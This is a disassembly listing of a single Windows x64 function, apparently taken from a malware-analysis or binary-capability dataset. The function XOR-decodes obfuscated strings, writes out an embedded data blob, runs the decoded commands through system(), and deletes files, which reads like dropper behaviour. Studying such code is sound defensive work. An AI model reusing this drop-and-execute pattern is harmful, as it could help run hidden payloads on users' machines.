Function at 0x140038c70
Capabilities:
Create directory
Delete file
Encode data using xor
Execute command

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
movdqa xmm0, xmmword [str._C_]
movdqu xmmword [rbp - 0x79], xmm0
mov byte [rbp - 0x69], 1
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x78]
xor byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0xf
jb 0x140038ca0
mov byte [rbp - 0x69], 0
lea rax, [rbp - 0x79]
mov qword [rbp + 0x6f], rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp - 0x59]
call fcn.140038950
nop
mov word [rbp + 0x67], Ordinal_41
mov byte [rbp + 0x69], 1
mov r9, rax
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x39]
call fcn.14003f750
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x140038d28
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038d23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038d23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp - 0x49], 0
mov qword [rbp - 0x41], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x59], 0
mov edx, 5
lea rcx, [rbp - 0x19]
call fcn.140038950
nop
mov edx, 6
lea rcx, [rbp + 7]
call fcn.140038950
nop
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
lea rdx, [rbp + 0x27]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x140038f15
mov dword [rbp + 0x6f], 0x1e021c56
mov word [rbp + 0x73], 0x100
mov word [rbp + 0x67], Ordinal_41
mov byte [rbp + 0x69], 1
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x19]
lea r8, [rbp + 0x67]
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x59]
call fcn.14003f940
nop
mov r8d, 0x11400
lea rdx, [0x14014f2a0]
lea rcx, [rbp - 0x59]
call fcn.140034100
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae rcx, qword [rbp - 0x59]
lea rdx, [rbp + 0x27]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x140038ed6
movdqa xmm0, xmmword [str.56___11]
movdqu xmmword [rbp - 0x79], xmm0
mov dword [rbp - 0x69], 0xc5c3c5a8
mov dword [rbp - 0x65], 0xbeb3dec9
mov word [rbp - 0x61], 0xa5
mov byte [rbp - 0x5f], 1
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x78]
xor byte [rbp + rcx - 0x79], al
inc rcx
cmp rcx, 0x19
jb 0x140038e30
mov byte [rbp - 0x5f], 0
lea rcx, [rbp - 0x79]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 0x27]
call fcn.14003fb70
lea rcx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 0x10
cmovae rcx, qword [rbp + 0x27]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rcx, qword [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0x10
jb 0x140038ed6
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038ed0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038ed0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x140038f15
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038f0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140038f53
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038f4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038f4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp + 0x17], 0
mov qword [rbp + 0x1f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140038fa5
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038fa0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038fa0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov qword [rbp - 9], 0
mov qword [rbp - 1], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x140038ff7
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038ff2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140038ff2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a11e8
mov al, 1
add rsp, 0x100
pop rbp
ret